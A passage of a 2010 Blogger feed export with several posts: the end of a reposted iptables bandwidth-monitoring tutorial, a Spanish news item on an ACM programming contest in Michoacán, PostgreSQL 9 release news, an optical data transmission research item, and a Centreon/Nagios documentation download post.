0.0.0.0/0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This snippet shows that towns A and B combined have downloaded and uploaded a total of 338GB. Town A is responsible for 104GB downloaded and 40GB uploaded. In the first line of output of the chain itself is a "more" total number -- 3,647GB. This is the total amount of data routed through since the last time this router was restarted, or more accurately, since the last time the iptables modules were inserted into the kernel.&lt;br /&gt;&lt;br /&gt;When a chain is "zeroed" (resetting all counters in a chain to zero) with the -Z option, this number is not reset. For this reason, I recommend creating a real total rule to make it easier to reset the total counter. It then takes one command to reset the counters, and you do not need to remove modules, restart the server, or work with the iptables-save and iptables-restore commands to reset the counter.&lt;br /&gt;&lt;br /&gt;Scrolling further down the output shows the individual IP addresses. Example for Town A:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chain town-a (2 references)&lt;br /&gt;bytes source destination&lt;br /&gt;32G 0.0.0.0/0 192.168.1.10&lt;br /&gt;282M 192.168.1.10 0.0.0.0/0&lt;br /&gt;1521M 0.0.0.0/0 192.168.1.11&lt;br /&gt;656M 192.168.1.11 0.0.0.0/0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This output further breaks down the total bandwidth of Town A down to the individual customers.&lt;br /&gt;&lt;br /&gt;The "2 references" shown in the iptables output refer to the two rules in the FORWARD chain that jump to this chain.&lt;br /&gt;&lt;br /&gt;Saving data across reboots&lt;br /&gt;&lt;br /&gt;If you reboot the machine or remove the iptables kernel modules, you'll lose all of your packet and byte counters. if these counters are to be used for billing purposes, you will want to make backups of the running counters, and in the event of a reboot, restore the counters rather than starting from zero.&lt;br /&gt;&lt;br /&gt;The iptables package comes with two programs that aid in this: iptables-save and iptables-restore. Both programs need to be told to explicitly use the packet and byte counters during backup and restore using the -c command line option.&lt;br /&gt;&lt;br /&gt;The backup and restore process is fairly straightforward. To back up your iptables data, use iptables-save -c &amp;gt; iptables-backup.txt. To restore the data, after reboot, use iptables-restore -c &amp;lt; iptables-backup.txt.&lt;br /&gt;&lt;br /&gt;Conclusion&lt;br /&gt;&lt;br /&gt;Iptables provides a quick and easy way to track bandwidth usage without having to install additional software. You have, and probably already use, the tools needed to accomplish this monitoring.&lt;br /&gt;&lt;br /&gt;The flexibility and power of iptables allows for more complex monitoring scenarios. You can create rules to not only track different subnets, but also to track specific ports and protocols, which lets you track exactly how much of each customer's traffic is Web, email, file sharing, etc.&lt;br /&gt;&lt;br /&gt;In addition, these bandwidth monitoring rules can also become blocking rules. If a host has used too much bandwidth, its rule in a town's specific chain can be modified by adding -j DROP to both the download and upload rules. This effectively stops traffic being routed to and from that host.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;a href="http://www.linux.com/learn/tutorials/305767-bandwidth-monitoring-with-iptables"&gt;You can see original source here.&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-1172654364091530500?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/1172654364091530500/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/bandwidth-monitoring-with-iptables.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1172654364091530500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/1172654364091530500'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/bandwidth-monitoring-with-iptables.html' title='Bandwidth monitoring with iptables'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-3613479917172194208</id><published>2010-09-23T10:02:00.000-07:00</published><updated>2010-09-23T10:02:16.389-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ACM'/><category scheme='http://www.blogger.com/atom/ns#' term='Instituto Tecnológico de Morelia'/><category scheme='http://www.blogger.com/atom/ns#' term='programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='concurso'/><title type='text'>CONCURSO ESTATAL DE PROGRAMACIÓN El ITSZ</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.laopiniondemichoacan.com.mx/hemeroteca2009_/octubre/principal/12/14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="212" src="http://www.laopiniondemichoacan.com.mx/hemeroteca2009_/octubre/principal/12/14.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Bien pues aquí dejo la noticia de cuando el equipo Tuxinator (Miguel Angel, Jonathan y su servidor Armando) fuimos ganadores del primer concurso estatal de programación ACM hace casi un año, donde por cierto, la escuela que representamos nunca nos dió el reconocimiento público que merecíamos por haber puesto en alto el nombre de nuestra institución.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;ZAMORA, MICH.- El ITESZ fue sede del primer Concurso Estatal de Programación. En la imagen se muestra a los ganadores del primer lugar, estudiantes del Tecnológico de Morelia.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; &lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;ZAMORA, MICH.- Con éxito se llevó a cabo en Zamora el Concurso Estatal de Programación de la Association for Computing Machinery (ACM), realizado en el Instituto Tecnológico de Estudios Superiores de Zamora (ITESZ), y del cual es sede estatal.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;«La actualización y la superación académica basada en las nuevas técnicas del conocimiento para el alumno, son los objetivos fundamentales que se buscan con la realización de justas académicas, como este Concurso Estatal de Programación», señaló Jesús Chávez Anaya, director académico del ITESZ, al llevar a cabo la ceremonia de entrega de premios a los tres primeros lugares de este concurso, en el que participaron más de 100 estudiantes de 11 institutos tecnológicos, entre federales y descentralizados que se encuentran en el estado de Michoacán.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;La primera posición fue para los estudiantes de sistemas computacionales del Instituto Tecnológico de Morelia Armando de Jesús Montoya Hernández, Jonathan Israel Fernández Abarca y Miguel Angel Alcalá Ordaz, quienes se hicieron acreedores a 5 mil pesos y su derecho de pase al regional.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;El segundo lugar fue obtenido por estudiantes del Instituto Tecnológico Superior de Los Reyes, jóvenes que se hicieron acreedores a 3 mil pesos; ellos son Justo Diego Ulises David, Arturo Emanuel García Contreras y Cristóbal Sánchez Ceja. El tercer lugar fue para los alumnos del ITESZ, José David Jacobo Guillén, Daniel Eduardo Madrigal Díaz y Gustavo Armando O´Henrry, quienes se adjudicaron una memoria de 16 gigabytes cada uno.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;El evento se realizó en el aula de usos múltiples de la institución. Ahí estuvieron presentes Amauri López Calderón, director de Planeación del ITESZ, así como el director académico, Jesús Chávez Anaya. Participaron también Celia Villanueva González, regidora de Educación, Cultura y Capacidades Especiales del Ayuntamiento de Zamora; José Luis Manzo Bautista, coordinador de las carreras de Licenciatura en Informática e Ingeniería en Sistemas Computacionales, también Agustín Rosas Nava, subdirector administrativo del Tecnológico y como juez y representante de ACM en México, Alberto la Madrid Alvarez.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Al hablar a nombre del director general del ITESZ, Jorge Delgado Contreras, el director académico, Jesús Chávez, resaltó que con este concurso estatal se sienta un precedente en la vida académica de Michoacán, pues es la primera ocasión en la que en el estado se realizada un evento con estas características.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Destacó que el mismo concurso es propicio para generar un intercambio de conocimientos entre los estudiantes de los institutos tecnológicos de Michoacán, así como generar una sana competencia que en base a la misma, se pueda medir el desempeño y el nivel de conocimientos que tienen los escolapios del ITESZ.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;El ITESZ buscará para el próximo año ser la sede regional de este evento, mismo que contemplará la participación de alumnos de institutos tecnológicos y universidades de al menos 8 estados de la República mexicana.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Finalmente el representante de ACM, una filial de IBM México, exhortó a los estudiantes a seguir participando en eventos como este, el que tiene entre sus fines la creación de software y programas que sean útiles al desempeño y desarrollo de los sectores productivos.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Los estudiantes ganadores, participarán para finales de este mes en el concurso regional en la ciudad de Querétaro, para luego pasar al nacional y quienes resulten triunfadores, tendrán el pase al mundial que será en China para finales de año.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;La fuente original está &lt;/span&gt;&lt;a href="http://www.laopiniondemichoacan.com.mx/hemeroteca2009_/octubre/principal/12/14.html"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;aquí&lt;/span&gt;&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-3613479917172194208?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/3613479917172194208/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/concurso-estatal-de-programacion-el.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3613479917172194208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3613479917172194208'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/concurso-estatal-de-programacion-el.html' title='CONCURSO ESTATAL DE PROGRAMACIÓN El ITSZ'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-220782238062719786</id><published>2010-09-20T10:34:00.000-07:00</published><updated>2010-09-20T10:34:37.710-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='postgresql'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Oracle MySQL rival PostgreSQL updated</title><content type='html'>&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;While Oracle trumpets its open source MySQL database management system this week at the company's OpenWorld conference, the creators behind MySQL's rival, PostgreSQL, have released a major new version of their rival database software.&lt;br /&gt;&lt;br /&gt;The newly released version 9 of PostgreSQL includes a number of new features that are potentially appealing to enterprise users. It includes the ability to do streaming replication, the upgrade process has been made considerably easier, and for the first time, it can run natively on clients running the 64-bit version of Microsoft Windows. &lt;br /&gt;&lt;br /&gt;For this release, the developers applied "the mainstream polish on the database, and not [have] it just be something for open-source people," said Bruce Momjian, a core developer to the open-source project, in a previous interview with the IDG News Service. &lt;br /&gt;&lt;br /&gt;"We're now focusing on ease of use, ease of administration, and providing the type of facilities that we think large organizations need," he said. &lt;br /&gt;&lt;br /&gt;In conjunction with this release, EnterpriseDB, which offers enterprise support and related software for PostgreSQL, has updated its Postgres Plus line of products to support PostgeSQL version 9.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Original Source can be found &lt;a href="http://www.computerworld.com/s/article/9186759/Oracle_MySQL_rival_PostgreSQL_updated"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-220782238062719786?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/220782238062719786/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/oracle-mysql-rival-postgresql-updated.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/220782238062719786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/220782238062719786'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/oracle-mysql-rival-postgresql-updated.html' title='Oracle MySQL rival PostgreSQL updated'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-5095109438586734796</id><published>2010-09-09T11:18:00.000-07:00</published><updated>2010-09-09T11:18:50.657-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='research'/><category scheme='http://www.blogger.com/atom/ns#' term='fiber'/><category scheme='http://www.blogger.com/atom/ns#' term='data transmission'/><title type='text'>Scientists develop device to enable improved global data transmission</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://thunhan.files.wordpress.com/2009/10/optical-fiber.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="269" src="http://thunhan.files.wordpress.com/2009/10/optical-fiber.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Researchers have developed a new data transmission system that could substantially improve the transmission capacity and energy efficiency of the world’s optical communication networks.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Transmission of data through optical networks is currently limited by ‘phase noise’ from optical amplifiers and ‘cross talk’ induced by interaction of the signal with the many other signals (each at a different wavelength) simultaneously circulating through the network. ‘Phase noise’ is the rapid, short-term, random fluctuations in the phase of a signal, which affects the quality of the information sent and results in data transmission errors. ‘Cross talk’ refers to any signal unintentionally affecting another signal.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Now, researchers working on the EU-funded FP7 PHASORS project, led by the University of Southampton’s Optoelectronics Research Centre (ORC), have announced a major advance in the potential elimination of this interference. &lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Traditionally optical data has been sent as a sequence of bits that were coded in the amplitude of the light beam, a system that was simple and practical but inefficient in its use of bandwidth. Until recent years, this wasn’t a problem given the enormous data-carrying capacity of an optical fibre. However, the introduction of bandwidth-hungry video applications, such as YouTube, and the continued growth of the internet itself have led to increasing interest in finding more efficient data signalling formats – in particular, schemes that code data in the phase rather than amplitude of an optical beam. &lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;In a paper published this week in the journal Nature Photonics, scientists on the PHASORS project announced the development of the first practical phase sensitive amplifier and phase regenerator for high-speed binary phase encoded signals. This device, unlike others developed in the past, eliminates the phase noise directly without the need for conversion to an electronic signal, which would inevitably slow the speeds achievable.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;The device takes an incoming noisy data signal and restores its quality by reducing the build up of phase noise and also any amplitude noise at the same time.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;ORC Deputy Director and PHASORS Director, Professor David Richardson comments: “This result is an important first step towards the practical implementation of all-optical signal processing of phase encoded signals, which are now being exploited commercially due to their improved data carrying capacity relative to conventional amplitude coding schemes. &lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;“Our regenerator can clean noise from incoming data signals and should allow for systems of extended physical length and capacity. In order to achieve this result, a major goal of the PHASORS project, has required significant advances in both optical fibre and semiconductor laser technology across the consortium. We believe this device and associated component technology will have significant applications across a range of disciplines beyond telecommunications – including optical sensing, metrology, as well as many other basic test and measurement applications in science and engineering.” &lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;The PHASORS project, which started in 2008, was tasked with developing new technology and components to substantially improve the transmission capacity and energy efficiency of today’s optical communication networks.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;The project combines the world-leading expertise of research teams from the ORC, Chalmers University of Technology (Sweden), The Tyndall National Institute at University College Cork (Ireland), the National and Kapodestrian University of Athens (Greece), and leading industrial partners Onefive GmbH (Switzerland), Eblana Photonics (Ireland) and OFS (Denmark).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.soton.ac.uk/mediacentre/news/2010/sep/10_92.shtml"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Original Source here.&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-5095109438586734796?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/5095109438586734796/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/scientists-develop-device-to-enable.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5095109438586734796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/5095109438586734796'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/scientists-develop-device-to-enable.html' title='Scientists develop device to enable improved global data transmission'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-7614169957836747938</id><published>2010-09-07T12:10:00.000-07:00</published><updated>2010-09-07T12:10:56.064-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoreo de red'/><category scheme='http://www.blogger.com/atom/ns#' term='español'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Instalar centreon'/><category scheme='http://www.blogger.com/atom/ns#' term='nagios'/><title type='text'>Instalación de Centreon/Nagios</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.centreon.com/templates/centreon/images/logodef.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.centreon.com/templates/centreon/images/logodef.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Bien, pues lo prometido es deuda, aquí dejo la un poco de la documentación de Centreon en español, hago la aclaración que no es toda, ya que es demasiado extensa para traducirla toda y la verdad el trabajo no me deja. Sin embargo si es suficiente para poder hacer funcionar un sistema de monitoreo basado en Centreon/Nagios.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.megaupload.com/?d=AUAMEJ9J"&gt;El link de descarga está aquí.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En caso de no poder descargarlo, por favor envíenme un email a: decibel.elektrobeat en gmail&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-7614169957836747938?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/7614169957836747938/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/instalacion-de-centreonnagios.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/7614169957836747938'/><link rel='self' type='application/atom+xml' 